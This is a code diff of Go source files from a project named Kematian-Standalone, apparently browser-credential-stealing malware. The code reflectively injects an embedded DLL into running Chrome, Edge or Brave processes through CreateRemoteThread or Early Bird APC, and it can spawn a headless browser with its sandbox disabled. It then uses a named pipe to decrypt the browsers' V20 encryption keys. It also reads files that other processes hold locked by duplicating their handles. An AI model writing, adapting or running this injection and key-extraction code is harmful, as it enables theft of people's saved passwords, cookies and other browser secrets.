+			vSize := binary.LittleEndian.Uint32(pe[off+8:])
+			rawPtr := binary.LittleEndian.Uint32(pe[off+20:])
+			rawSize := binary.LittleEndian.Uint32(pe[off+16:])
+			span := vSize
+			if rawSize > span {
+				span = rawSize
+			}
+			if rva >= vAddr && rva < vAddr+span {
+				delta := rva - vAddr
+				if delta < rawSize {
+					return rawPtr + delta
+				}
+			}
+		}
+		// RVA might be in the PE headers (before the first section).
+		if numSections > 0 {
+			firstRaw := binary.LittleEndian.Uint32(pe[sectionOff+20:])
+			if rva < firstRaw {
+				return rva
+			}
+		}
+		return 0
+	}
+
+	exportFO := rva2fo(exportRVA)
+	if exportFO == 0 || int(exportFO)+40 > len(pe) {
+		return 0, fmt.Errorf("invalid export directory")
+	}
+
+	// IMAGE_EXPORT_DIRECTORY offsets:
+	//   +20 NumberOfFunctions
+	//   +24 NumberOfNames
+	//   +28 AddressOfFunctions
+	//   +32 AddressOfNames
+	//   +36 AddressOfNameOrdinals
+	numNames := binary.LittleEndian.Uint32(pe[exportFO+24:])
+	functionsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+28:]))
+	namesFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+32:]))
+	ordinalsFO := rva2fo(binary.LittleEndian.Uint32(pe[exportFO+36:]))
+
+	for i := uint32(0); i < numNames; i++ {
+		if int(namesFO+i*4+4) > len(pe) {
+			break
+		}
+		nameFO := rva2fo(binary.LittleEndian.Uint32(pe[namesFO+i*4:]))
+		if nameFO == 0 || int(nameFO) >= len(pe) {
+			continue
+		}
+		name := pe[nameFO:]
+		found := false
+		for k := 0; k < 64 && int(nameFO)+k+16 <= len(pe); k++ {
+			if name[k] == 0 {
+				break
+			}
+			if name[k] == 'R' && string(name[k:k+16]) == "ReflectiveLoader" {
+				found = true
+				break
+			}
+		}
+		if !found {
+			continue
+		}
+		if int(ordinalsFO+i*2+2) > len(pe) {
+			break
+		}
+		ordinal := uint32(binary.LittleEndian.Uint16(pe[ordinalsFO+i*2:]))
+		if int(functionsFO+ordinal*4+4) > len(pe) {
+			break
+		}
+		funcFO := rva2fo(binary.LittleEndian.Uint32(pe[functionsFO+ordinal*4:]))
+		if funcFO != 0 {
+			return funcFO, nil
+		}
+	}
+	return 0, fmt.Errorf("ReflectiveLoader export not found")
+}
+
+// writeReflectiveDLL allocates RWX memory in hProcess, writes the full DLL image
+// followed by the UTF-16 pipe name, and returns the remote addresses of the
+// ReflectiveLoader entry point and the pipe name. The pipe name is passed to
+// the loader as lpParameter so it reaches DllMain without relying on an
+// inherited environment variable (which running browsers do not have).
+func writeReflectiveDLL(hProcess windows.Handle, dllBytes []byte, pipeName string) (loaderAddr, pipeNameAddr uintptr, err error) {
+	loaderOff, err := findReflectiveLoaderOffset(dllBytes)
+	if err != nil {
+		return 0, 0, fmt.Errorf("find reflective loader: %w", err)
+	}
+
+	pipeW, err := syscall.UTF16FromString(pipeName)
+	if err != nil {
+		return 0, 0, fmt.Errorf("utf16 pipe name: %w", err)
+	}
+	pipeBytes := len(pipeW) * 2
+	total := len(dllBytes) + pipeBytes
+
+	remoteMem, _, _ := procVirtualAllocEx.Call(
+		uintptr(hProcess), 0, uintptr(total),
+		windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE,
+	)
+	if remoteMem == 0 {
+		return 0, 0, fmt.Errorf("VirtualAllocEx failed")
+	}
+
+	var written uintptr
+	if err := windows.WriteProcessMemory(hProcess, remoteMem, &dllBytes[0], uintptr(len(dllBytes)), &written); err != nil {
+		procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
+		return 0, 0, fmt.Errorf("WriteProcessMemory: %w", err)
+	}
+
+	pipeNameAddr = remoteMem + uintptr(len(dllBytes))
+	pipeBuf := unsafe.Slice((*byte)(unsafe.Pointer(&pipeW[0])), pipeBytes)
+	if err := windows.WriteProcessMemory(hProcess, pipeNameAddr, &pipeBuf[0], uintptr(pipeBytes), &written); err != nil {
+		procVirtualFreeEx.Call(uintptr(hProcess), remoteMem, 0, windows.MEM_RELEASE)
+		return 0, 0, fmt.Errorf("WriteProcessMemory pipe: %w", err)
+	}
+
+	return remoteMem + uintptr(loaderOff), pipeNameAddr, nil
+}
+
+func createKillOnCloseJob() (windows.Handle, error) {
+	job, err := windows.CreateJobObject(nil, nil)
+	if err != nil {
+		return 0, fmt.Errorf("CreateJobObject: %w", err)
+	}
+	var info windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION
+	info.BasicLimitInformation.LimitFlags |= windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
+	_, err = windows.SetInformationJobObject(job, windows.JobObjectExtendedLimitInformation,
+		uintptr(unsafe.Pointer(&info)), uint32(unsafe.Sizeof(info)))
+	if err != nil {
+		windows.CloseHandle(job)
+		return 0, fmt.Errorf("SetInformationJobObject: %w", err)
+	}
+	return job, nil
+}
+
+// InjectDLL reflectively injects the DLL into a running process via CreateRemoteThread.
+// The DLL bytes are written directly into the target process — no temp file on disk.
+func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) {
+	hProcess, err := windows.OpenProcess(
+		windows.PROCESS_CREATE_THREAD|windows.PROCESS_QUERY_INFORMATION|
+			windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE|windows.PROCESS_VM_READ,
+		false, targetPID)
+	if err != nil {
+		return nil, fmt.Errorf("OpenProcess(%d): %w", targetPID, err)
+	}
+
+	loaderAddr, pipeNameAddr, err := writeReflectiveDLL(hProcess, dllBytes, pipeName)
+	if err != nil {
+		windows.CloseHandle(hProcess)
+		return nil, err
+	}
+
+	hThread, _, lerr := procCreateRemoteThread.Call(uintptr(hProcess), 0, 0, loaderAddr, pipeNameAddr, 0, 0)
+	if hThread == 0 {
+		windows.CloseHandle(hProcess)
+		return nil, fmt.Errorf("CreateRemoteThread: %w", lerr)
+	}
+	windows.CloseHandle(windows.Handle(hThread))
+
+	logf("DLL reflectively injected into PID %d", targetPID)
+
+	return &PipeSession{
+		pid:      targetPID,
+		hProcess: hProcess,
+	}, nil
+}
+
+func cleanupInjection(hProcess windows.Handle, addr uintptr) {
+	procVirtualFreeEx.Call(uintptr(hProcess), addr, 0, windows.MEM_RELEASE)
+	windows.CloseHandle(hProcess)
+}
+
+// CreatePipeSession creates a named pipe, reflectively injects the DLL into an
+// existing browser process (passing the pipe name via lpParameter), and waits
+// for connection. Falls back to creating a new headless browser process if
+// injection into an existing process fails or times out.
+func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) {
+	pipeName := createPipeName()
+	logf("creating pipe: %s", pipeName)
+
+	hPipe, err := createPipeServer(pipeName)
+	if err != nil {
+		return nil, fmt.Errorf("create pipe server: %w", err)
+	}
+
+	pids := orderedBrowserPIDs(BrowserExeName(browserName))
+
+	const maxExistingTries = 3
+	if len(pids) > 0 {
+		for i, pid := range pids {
+			if i >= maxExistingTries {
+				logf("reached max existing process attempts (%d) for %s", maxExistingTries, browserName)
+				break
+			}
+			logf("trying existing %s PID %d", browserName, pid)
+			s, err := InjectDLL(dllBytes, pipeName, pid)
+			if err != nil {
+				logf("inject PID %d failed: %v", pid, err)
+				continue
+			}
+			s.watchExit(fmt.Sprintf("existing %s", browserName), 2000)
+			if err := waitPipeConnect(hPipe, 2000); err != nil {
+				logf("pipe connect timeout for PID %d", pid)
+				s.Close()
+				procDisconnectNamedPipe.Call(uintptr(hPipe))
+				windows.CloseHandle(hPipe)
+				hPipe, err = createPipeServer(pipeName)
+				if err != nil {
+					return nil, fmt.Errorf("recreate pipe: %w", err)
+				}
+				continue
+			}
+			s.hPipe = hPipe
+			ActivePipeSession = s
+			logf("pipe session established with existing %s (PID %d)", browserName, pid)
+			return s, nil
+		}
+		logf("failed to inject into existing %s processes, will try creating new process", browserName)
+	} else {
+		logf("no running %s found, will create new headless process", browserName)
+	}
+
+	s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
+	if err != nil {
+		windows.CloseHandle(hPipe)
+		return nil, fmt.Errorf("create and inject browser: %w", err)
+	}
+	s.watchExit(fmt.Sprintf("spawned %s", browserName), 8000)
+
+	if err := waitPipeConnect(hPipe, 5000); err != nil {
+		logf("pipe connect timeout for new process")
+		s.Close()
+		windows.CloseHandle(hPipe)
+		return nil, fmt.Errorf("pipe connect timeout")
+	}
+
+	s.hPipe = hPipe
+	s.ownsProcess = true
+	ActivePipeSession = s
+	logf("pipe session established with new %s (PID %d)", browserName, s.pid)
+	return s, nil
+}
+
+// FindProcesses returns PIDs of running processes matching the given exe name.
+func FindProcesses(exeName string) ([]uint32, error) {
+	if exeName == "" {
+		return nil, nil
+	}
+	hSnapshot, err := windows.CreateToolhelp32Snapshot(windows.TH32CS_SNAPPROCESS, 0)
+	if err != nil {
+		return nil, err
+	}
+	defer windows.CloseHandle(hSnapshot)
+
+	var entry windows.ProcessEntry32
+	entry.Size = uint32(unsafe.Sizeof(entry))
+	if err := windows.Process32First(hSnapshot, &entry); err != nil {
+		return nil, err
+	}
+
+	var pids []uint32
+	for {
+		if syscall.UTF16ToString(entry.ExeFile[:]) == exeName {
+			pids = append(pids, entry.ProcessID)
+		}
+		if err := windows.Process32Next(hSnapshot, &entry); err != nil {
+			break
+		}
+	}
+	return pids, nil
+}
+
+func BrowserExeName(name string) string {
+	switch name {
+	case "Chrome":
+		return "chrome.exe"
+	case "Edge":
+		return "msedge.exe"
+	case "Brave":
+		return "brave.exe"
+	}
+	return ""
+}
+
+// CreateAndInjectBrowser creates a new suspended browser process and reflectively
+// injects the DLL via Early Bird APC. No temp file is written to disk.
+func CreateAndInjectBrowser(dllBytes []byte, pipeName string, browserName string) (*PipeSession, error) {
+	browserPath, err := getBrowserPath(browserName)
+	if err != nil {
+		return nil, fmt.Errorf("get browser path: %w", err)
+	}
+
+	browserPathW, err := syscall.UTF16PtrFromString(browserPath)
+	if err != nil {
+		return nil, err
+	}
+	cmdLine := fmt.Sprintf(`"%s" --headless --disable-gpu --no-sandbox --disable-dev-shm-usage`, browserPath)
+	cmdLineW, err := syscall.UTF16PtrFromString(cmdLine)
+	if err != nil {
+		return nil, err
+	}
+
+	var si windows.StartupInfo
+	var pi windows.ProcessInformation
+	si.Cb = uint32(unsafe.Sizeof(si))
+	if err := windows.CreateProcess(browserPathW, cmdLineW, nil, nil, false,
+		windows.CREATE_SUSPENDED, nil, nil, &si, &pi); err != nil {
+		return nil, fmt.Errorf("CreateProcess: %w", err)
+	}
+	logf("created suspended %s process (PID: %d)", browserName, pi.ProcessId)
+
+	// Create a kill-on-close job and assign the suspended browser to it so the
+	// whole process tree is reaped when the session closes, even though the
+	// headless parent self-exits after serving one key.
+	job, jobErr := createKillOnCloseJob()
+	if jobErr != nil {
+		logf("job object unavailable, falling back to TerminateProcess: %v", jobErr)
+	} else if err := windows.AssignProcessToJobObject(job, pi.Process); err != nil {
+		logf("AssignProcessToJobObject failed, falling back to TerminateProcess: %v", err)
+		windows.CloseHandle(job)
+		job = 0
+	} else {
+		logf("spawned %s (PID %d) assigned to kill-on-close job", browserName, pi.ProcessId)
+	}
+
+	cleanup := func() {
+		if job != 0 {
+			windows.CloseHandle(job)
+		}
+		windows.TerminateProcess(pi.Process, 0)
+		windows.CloseHandle(pi.Process)
+		windows.CloseHandle(pi.Thread)
+	}
+
+	loaderAddr, pipeNameAddr, err := writeReflectiveDLL(pi.Process, dllBytes, pipeName)
+	if err != nil {
+		cleanup()
+		return nil, err
+	}
+
+	// Queue APC to the main thread — fires on its first alertable wait after resume.
+	ret, _, aerr := procQueueUserAPC.Call(loaderAddr, uintptr(pi.Thread), pipeNameAddr)
+	if ret == 0 {
+		cleanup()
+		return nil, fmt.Errorf("QueueUserAPC: %w", aerr)
+	}
+	logf("queued APC for reflective loader")
+
+	if _, err := windows.ResumeThread(pi.Thread); err != nil {
+		cleanup()
+		return nil, fmt.Errorf("ResumeThread: %w", err)
+	}
+	logf("resumed process main thread")
+
+	return &PipeSession{
+		pid:         pi.ProcessId,
+		hProcess:    pi.Process,
+		ownsProcess: true,
+		job:         job,
+	}, nil
+}
+
+func getBrowserPath(browserName string) (string, error) {
+	var paths []string
+	switch browserName {
+	case "Chrome":
+		paths = []string{
+			filepath.Join(os.Getenv("ProgramFiles"), "Google", "Chrome", "Application", "chrome.exe"),
+			filepath.Join(os.Getenv("ProgramFiles(x86)"), "Google", "Chrome", "Application", "chrome.exe"),
+			filepath.Join(os.Getenv("LOCALAPPDATA"), "Google", "Chrome", "Application", "chrome.exe"),
+		}
+	case "Edge":
+		paths = []string{
+			filepath.Join(os.Getenv("ProgramFiles"), "Microsoft", "Edge", "Application", "msedge.exe"),
+			filepath.Join(os.Getenv("ProgramFiles(x86)"), "Microsoft", "Edge", "Application", "msedge.exe"),
+		}
+	case "Brave":
+		paths = []string{
+			filepath.Join(os.Getenv("ProgramFiles"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
+			filepath.Join(os.Getenv("ProgramFiles(x86)"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
+			filepath.Join(os.Getenv("LOCALAPPDATA"), "BraveSoftware", "Brave-Browser", "Application", "brave.exe"),
+		}
+	default:
+		return "", fmt.Errorf("unknown browser: %s", browserName)
+	}
+	for _, p := range paths {
+		if _, err := os.Stat(p); err == nil {
+			return p, nil
+		}
+	}
+	return "", fmt.Errorf("%s not found", browserName)
+}
+
+// TryV20KeyViaBrowserSession attempts to decrypt a V20 key by injecting a DLL
+// into a browser process and communicating via named pipe.
+func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) {
+	dllBytes := GetEmbeddedDLL()
+	if dllBytes == nil {
+		return nil, fmt.Errorf("no embedded DLL")
+	}
+
+	pids := orderedBrowserPIDs(processName)
+	if len(pids) == 0 && browserName == "Chrome" {
+		return nil, fmt.Errorf("no running Chrome processes for V20")
+	}
+
+	pipeName := createPipeName()
+	hPipe, err := createPipeServer(pipeName)
+	if err != nil {
+		return nil, fmt.Errorf("create pipe: %w", err)
+	}
+
+	const maxTries = 3
+	for i, pid := range pids {
+		if i >= maxTries {
+			break
+		}
+		s, injErr := InjectDLL(dllBytes, pipeName, pid)
+		if injErr != nil {
+			logf("V20 inject %s PID %d: %v", browserName, pid, injErr)
+			continue
+		}
+		s.watchExit(fmt.Sprintf("V20 %s", browserName), 2000)
+		if connErr := waitPipeConnect(hPipe, 1000); connErr != nil {
+			logf("V20 pipe timeout for %s PID %d", browserName, pid)
+			procDisconnectNamedPipe.Call(uintptr(hPipe))
+			windows.CloseHandle(hPipe)
+			hPipe, err = createPipeServer(pipeName)
+			if err != nil {
+				return nil, fmt.Errorf("recreate pipe: %w", err)
+			}
+			continue
+		}
+		s.hPipe = hPipe
+		encB64 := base64.StdEncoding.EncodeToString(encBlob)
+		key, keyErr := s.GetV20Key(browserName, encB64)
+		s.Close()
+		return key, keyErr
+	}
+
+	if browserName == "Chrome" {
+		windows.CloseHandle(hPipe)
+		tried := len(pids)
+		if tried > maxTries {
+			tried = maxTries
+		}
+		return nil, fmt.Errorf("V20 session failed for Chrome (tried %d existing PIDs)", tried)
+	}
+
+	logf("existing %s PIDs failed for V20, launching headless process", browserName)
+	s, err := CreateAndInjectBrowser(dllBytes, pipeName, browserName)
+	if err != nil {
+		windows.CloseHandle(hPipe)
+		return nil, fmt.Errorf("create headless %s for V20: %w", browserName, err)
+	}
+	s.watchExit(fmt.Sprintf("V20 spawned %s", browserName), 8000)
+	if connErr := waitPipeConnect(hPipe, 5000); connErr != nil {
+		s.Close()
+		windows.CloseHandle(hPipe)
+		return nil, fmt.Errorf("pipe connect timeout for new headless %s", browserName)
+	}
+	s.hPipe = hPipe
+	encB64 := base64.StdEncoding.EncodeToString(encBlob)
+	key, keyErr := s.GetV20Key(browserName, encB64)
+	s.Close()
+	return key, keyErr
+}

Kematian-Standalone/native/recovery/platform/inject_stub.go

@@ -0,0 +1,44 @@
+//go:build !windows
+
+package platform
+
+import (
+	"errors"
+	"os/exec"
+	"strconv"
+	"strings"
+)
+
+func InjectDLL(dllBytes []byte, pipeName string, targetPID uint32) (*PipeSession, error) {
+	return nil, errors.New("DLL injection not supported on this platform")
+}
+
+func CreatePipeSession(dllBytes []byte, browserName string) (*PipeSession, error) {
+	return nil, errors.New("pipe injection not supported on this platform")
+}
+
+func FindProcesses(exeName string) ([]uint32, error) {
+	if exeName == "" {
+		return nil, nil
+	}
+	out, err := exec.Command("pgrep", "-x", exeName).Output()
+	if err != nil {
+		return nil, nil
+	}
+	var pids []uint32
+	for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") {
+		line = strings.TrimSpace(line)
+		if pid, err := strconv.ParseUint(line, 10, 32); err == nil {
+			pids = append(pids, uint32(pid))
+		}
+	}
+	return pids, nil
+}
+
+func BrowserExeName(name string) string {
+	return ""
+}
+
+func TryV20KeyViaBrowserSession(processName, browserName string, encBlob []byte) ([]byte, error) {
+	return nil, errors.New("not supported on this platform")
+}

Kematian-Standalone/native/recovery/platform/lockedfile_stub.go

@@ -0,0 +1,11 @@
+//go:build !windows
+
+package platform
+
+import "os"
+
+func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) {
+	return os.ReadFile(srcPath)
+}
+
+func ResetHandleCache() {}

Kematian-Standalone/native/recovery/platform/lockedfile_windows.go

@@ -0,0 +1,330 @@
+//go:build windows
+
+package platform
+
+import (
+	"fmt"
+	"os"
+	"strings"
+	"sync"
+	"syscall"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+const (
+	SystemExtendedHandleInformation = 64
+	fileTypeDisk2                   = 0x0001
+	pageReadonly2                   = 0x02
+	fileMapRead2                    = 0x04
+)
+
+type systemHandleInfoEx struct {
+	NumberOfHandles uintptr
+	Reserved        uintptr
+	Handles         [1]systemHandleEntry
+}
+
+type systemHandleEntry struct {
+	Object           uintptr
+	UniqueProcessId  uintptr
+	HandleValue      uintptr
+	GrantedAccess    uint32
+	CreatorBackTrace uint16
+	ObjectTypeIndex  uint16
+	HandleAttributes uint32
+	Reserved         uint32
+}
+
+type rmUniqueProcess2 struct {
+	ProcessId        uint32
+	ProcessStartTime syscall.Filetime
+}
+
+type rmProcessInfo2 struct {
+	Process          rmUniqueProcess2
+	AppName          [256]uint16
+	ServiceShortName [64]uint16
+	ApplicationType  uint32
+	AppStatus        uint32
+	TSSessionId      uint32
+	Restartable      int32
+}
+
+var (
+	modNtdll2                    = windows.NewLazySystemDLL("ntdll.dll")
+	procNtQuerySystemInformation = modNtdll2.NewProc("NtQuerySystemInformation")
+	modKernel32                  = windows.NewLazySystemDLL("kernel32.dll")
+	procGetFileSizeEx            = modKernel32.NewProc("GetFileSizeEx")
+	procCreateFileMappingW       = modKernel32.NewProc("CreateFileMappingW")
+	procMapViewOfFile            = modKernel32.NewProc("MapViewOfFile")
+	procUnmapViewOfFile          = modKernel32.NewProc("UnmapViewOfFile")
+	procGetFinalPathNameByHandle = modKernel32.NewProc("GetFinalPathNameByHandleW")
+	procGetFileType              = modKernel32.NewProc("GetFileType")
+	modRstrtmgr                  = windows.NewLazySystemDLL("rstrtmgr.dll")
+	procRmStartSession           = modRstrtmgr.NewProc("RmStartSession")
+	procRmEndSession             = modRstrtmgr.NewProc("RmEndSession")
+	procRmRegisterResources      = modRstrtmgr.NewProc("RmRegisterResources")
+	procRmGetList                = modRstrtmgr.NewProc("RmGetList")
+)
+
+var (
+	handleCacheMu  sync.Mutex
+	handleCacheVal []systemHandleEntry
+)
+
+func cachedSystemHandles() ([]systemHandleEntry, error) {
+	handleCacheMu.Lock()
+	defer handleCacheMu.Unlock()
+	if handleCacheVal != nil {
+		return handleCacheVal, nil
+	}
+	h, err := querySystemHandles()
+	if err != nil {
+		return nil, err
+	}
+	handleCacheVal = h
+	return h, nil
+}
+
+func ResetHandleCache() {
+	handleCacheMu.Lock()
+	handleCacheVal = nil
+	handleCacheMu.Unlock()
+}
+
+func ReadLockedFile(srcPath string, pids []uint32) ([]byte, error) {
+	if data, err := os.ReadFile(srcPath); err == nil {
+		logf("read directly: %s", srcPath)
+		return data, nil
+	}
+
+	if lockPids := getProcessesLockingFile(srcPath); len(lockPids) > 0 {
+		pids = mergePIDs(pids, lockPids)
+	}
+
+	if len(pids) > 0 {
+		if data, err := readViaHandleDuplication(srcPath, pids); err == nil {
+			logf("read via handle dup: %s", srcPath)
+			return data, nil
+		}
+	}
+
+	if ActivePipeSession != nil {
+		if data, err := ActivePipeSession.ReadFile(srcPath); err == nil && len(data) > 0 {
+			logf("read via pipe: %s (%d bytes)", srcPath, len(data))
+			return data, nil
+		}
+	}
+
+	return nil, fmt.Errorf("all read methods failed for: %s", srcPath)
+}
+
+func mergePIDs(a, b []uint32) []uint32 {
+	seen := make(map[uint32]struct{}, len(a)+len(b))
+	for _, p := range a {
+		seen[p] = struct{}{}
+	}
+	result := append([]uint32(nil), a...)
+	for _, p := range b {
+		if _, ok := seen[p]; !ok {
+			result = append(result, p)
+			seen[p] = struct{}{}
+		}
+	}
+	return result
+}
+
+func readViaHandleDuplication(srcPath string, pids []uint32) ([]byte, error) {
+	handles, err := cachedSystemHandles()
+	if err != nil {
+		return nil, err
+	}
+
+	pidSet := make(map[uintptr]struct{}, len(pids))
+	for _, p := range pids {
+		pidSet[uintptr(p)] = struct{}{}
+	}
+
+	for _, h := range handles {
+		if _, ok := pidSet[h.UniqueProcessId]; !ok {
+			continue
+		}
+
+		hProcess, err := windows.OpenProcess(windows.PROCESS_DUP_HANDLE, false, uint32(h.UniqueProcessId))
+		if err != nil {
+			continue
+		}
+
+		var dupHandle windows.Handle
+		err = windows.DuplicateHandle(hProcess, windows.Handle(h.HandleValue),
+			windows.CurrentProcess(), &dupHandle, 0, false, windows.DUPLICATE_SAME_ACCESS)
+		windows.CloseHandle(hProcess)
+		if err != nil {
+			continue
+		}
+
+		ft, _, _ := procGetFileType.Call(uintptr(dupHandle))
+		if ft != fileTypeDisk2 {
+			windows.CloseHandle(dupHandle)
+			continue
+		}
+
+		handlePath := getHandlePath(uintptr(dupHandle))
+		if handlePath == "" || !strings.EqualFold(handlePath, srcPath) {
+			windows.CloseHandle(dupHandle)
+			continue
+		}
+
+		data, err := readFileByMapping(dupHandle)
+		windows.CloseHandle(dupHandle)
+		if err == nil {
+			return data, nil
+		}
+	}
+
+	return nil, fmt.Errorf("handle duplication failed for %s", srcPath)
+}
+
+func readFileByMapping(h windows.Handle) ([]byte, error) {
+	var fileSize int64
+	ok, _, _ := procGetFileSizeEx.Call(uintptr(h), uintptr(unsafe.Pointer(&fileSize)))
+	if ok == 0 || fileSize <= 0 {
+		return nil, fmt.Errorf("empty or unreadable file")
+	}
+
+	hMapping, _, _ := procCreateFileMappingW.Call(uintptr(h), 0, pageReadonly2, 0, 0, 0)
+	if hMapping == 0 {
+		return nil, fmt.Errorf("CreateFileMappingW failed")
+	}
+	defer windows.CloseHandle(windows.Handle(hMapping))
+
+	baseAddr, _, _ := procMapViewOfFile.Call(hMapping, fileMapRead2, 0, 0, uintptr(fileSize))
+	if baseAddr == 0 {
+		return nil, fmt.Errorf("MapViewOfFile failed")
+	}
+	defer procUnmapViewOfFile.Call(baseAddr)
+
+	data := make([]byte, fileSize)
+	copy(data, unsafe.Slice((*byte)(unsafe.Pointer(baseAddr)), fileSize))
+	return data, nil
+}
+
+func querySystemHandles() ([]systemHandleEntry, error) {
+	bufSize := uint32(1 * 1024 * 1024)
+	for {
+		buf := make([]byte, bufSize)
+		var returnLength uint32
+		status, _, _ := procNtQuerySystemInformation.Call(
+			SystemExtendedHandleInformation,
+			uintptr(unsafe.Pointer(&buf[0])),
+			uintptr(bufSize),
+			uintptr(unsafe.Pointer(&returnLength)),
+		)
+		if status&0xFFFFFFFF == 0xC0000004 {
+			bufSize = returnLength + 65536
+			if bufSize > 256*1024*1024 {
+				return nil, fmt.Errorf("handle buffer too large")
+			}
+			continue
+		}
+		if status != 0 {
+			return nil, fmt.Errorf("NtQuerySystemInformation: 0x%x", status)
+		}
+
+		info := (*systemHandleInfoEx)(unsafe.Pointer(&buf[0]))
+		count := int(info.NumberOfHandles)
+		handles := make([]systemHandleEntry, count)
+		for i := 0; i < count; i++ {
+			entry := (*systemHandleEntry)(unsafe.Pointer(
+				uintptr(unsafe.Pointer(&info.Handles[0])) + uintptr(i)*unsafe.Sizeof(info.Handles[0]),
+			))
+			handles[i] = *entry
+		}
+		return handles, nil
+	}
+}
+
+func getHandlePath(handle uintptr) string {
+	buf := make([]uint16, 32768)
+	n, _, _ := procGetFinalPathNameByHandle.Call(
+		handle,
+		uintptr(unsafe.Pointer(&buf[0])),
+		uintptr(len(buf)),
+		0,
+	)
+	if n == 0 || n >= uintptr(len(buf)) {
+		return ""
+	}
+	s := syscall.UTF16ToString(buf[:n])
+	if strings.HasPrefix(s, `\\?\`) {
+		s = s[4:]
+	}
+	return s
+}
+
+func getProcessesLockingFile(filePath string) []uint32 {
+	suffix := filePath
+	if len(suffix) > 8 {
+		suffix = suffix[len(suffix)-8:]
+	}
+	sessionKey, err := syscall.UTF16PtrFromString("kematian_" + suffix)
+	if err != nil {
+		return nil
+	}
+
+	var sessionHandle uint32
+	ret, _, _ := procRmStartSession.Call(
+		uintptr(unsafe.Pointer(&sessionHandle)), 0,
+		uintptr(unsafe.Pointer(sessionKey)),
+	)
+	if ret != 0 {
+		return nil
+	}
+	defer procRmEndSession.Call(uintptr(sessionHandle))
+
+	filePathW, err := syscall.UTF16PtrFromString(filePath)
+	if err != nil {
+		return nil
+	}
+	ret, _, _ = procRmRegisterResources.Call(
+		uintptr(sessionHandle), 1,
+		uintptr(unsafe.Pointer(&filePathW)),
+		0, 0, 0, 0,
+	)
+	if ret != 0 {
+		return nil
+	}
+
+	var needed, count, rebootReason uint32
+	ret, _, _ = procRmGetList.Call(
+		uintptr(sessionHandle),
+		uintptr(unsafe.Pointer(&needed)),
+		uintptr(unsafe.Pointer(&count)),
+		0,
+		uintptr(unsafe.Pointer(&rebootReason)),
+	)
+	if ret != 234 || needed == 0 {
+		return nil
+	}
+
+	infos := make([]rmProcessInfo2, needed)
+	count = needed
+	ret, _, _ = procRmGetList.Call(
+		uintptr(sessionHandle),
+		uintptr(unsafe.Pointer(&needed)),
+		uintptr(unsafe.Pointer(&count)),
+		uintptr(unsafe.Pointer(&infos[0])),
+		uintptr(unsafe.Pointer(&rebootReason)),
+	)
+	if ret != 0 {
+		return nil
+	}
+
+	pids := make([]uint32, 0, count)
+	for i := uint32(0); i < count; i++ {
+		pids = append(pids, infos[i].Process.ProcessId)
+	}
+	return pids
+}

Kematian-Standalone/native/recovery/platform/log.go

@@ -0,0 +1,7 @@
+package platform
+
+import "log"
+
+func logf(format string, args ...interface{}) {
+	log.Printf("[platform] "+format, args...)
+}

Kematian-Standalone/native/recovery/platform/pipe.go

@@ -0,0 +1,293 @@
+//go:build windows
+
+package platform
+
+import (
+	"crypto/rand"
+	"encoding/hex"
+	"fmt"
+	"sync"
+	"syscall"
+	"time"
+	"unsafe"
+
+	"golang.org/x/sys/windows"
+)
+
+type PipeSession struct {
+	mu          sync.Mutex
+	hPipe       windows.Handle
+	hProcess    windows.Handle
+	pid         uint32
+	ownsProcess bool
+	job         windows.Handle
+	closed      bool
+}
+
+var (
+	modKernel32Pipe = windows.NewLazySystemDLL("kernel32.dll")
+	modAdvapi32     = windows.NewLazySystemDLL("advapi32.dll")
+
+	procCreateNamedPipeW    = modKernel32Pipe.NewProc("CreateNamedPipeW")
+	procConnectNamedPipe    = modKernel32Pipe.NewProc("ConnectNamedPipe")
+	procDisconnectNamedPipe = modKernel32Pipe.NewProc("DisconnectNamedPipe")
+	procWaitForSingleObject = modKernel32Pipe.NewProc("WaitForSingleObject")
+	procPeekNamedPipe       = modKernel32Pipe.NewProc("PeekNamedPipe")
+)
+
+func createPipeName() string {
+	b := make([]byte, 8)
+	rand.Read(b)
+	return fmt.Sprintf(`\\.\pipe\%s`, hex.EncodeToString(b))
+}
+
+func createPipeServer(pipeName string) (windows.Handle, error) {
+	namePtr, err := syscall.UTF16PtrFromString(pipeName)
+	if err != nil {
+		return 0, err
+	}
+
+	const (
+		PIPE_ACCESS_DUPLEX       = 0x3
+		PIPE_TYPE_BYTE           = 0x0
+		PIPE_READMODE_BYTE       = 0x0
+		PIPE_WAIT                = 0x0
+		PIPE_UNLIMITED_INSTANCES = 0xFF
+	)
+
+	r, _, err := procCreateNamedPipeW.Call(
+		uintptr(unsafe.Pointer(namePtr)),
+		PIPE_ACCESS_DUPLEX|windows.FILE_FLAG_OVERLAPPED,
+		PIPE_TYPE_BYTE|PIPE_READMODE_BYTE|PIPE_WAIT,
+		PIPE_UNLIMITED_INSTANCES,
+		65536, // output buffer
+		65536, // input buffer
+		15000, // timeout ms
+		0,
+	)
+	if r == ^uintptr(0) {
+		return 0, fmt.Errorf("CreateNamedPipeW: %w", err)
+	}
+	return windows.Handle(r), nil
+}
+
+func waitPipeConnect(hPipe windows.Handle, timeoutMs uint32) error {
+	hEvent, err := windows.CreateEvent(nil, 1, 0, nil)
+	if err != nil {
+		return fmt.Errorf("CreateEvent: %w", err)
+	}
+	defer windows.CloseHandle(hEvent)
+
+	ov := windows.Overlapped{HEvent: hEvent}
+
+	r, _, err := procConnectNamedPipe.Call(uintptr(hPipe), uintptr(unsafe.Pointer(&ov)))
+	if r != 0 {
+		return nil // already connected
+	}
+
+	if err == windows.ERROR_PIPE_CONNECTED {
+		return nil
+	}
+
+	if err != windows.ERROR_IO_PENDING {
+		return fmt.Errorf("ConnectNamedPipe: %w", err)
+	}
+
+	ret, _, _ := procWaitForSingleObject.Call(uintptr(hEvent), uintptr(timeoutMs))
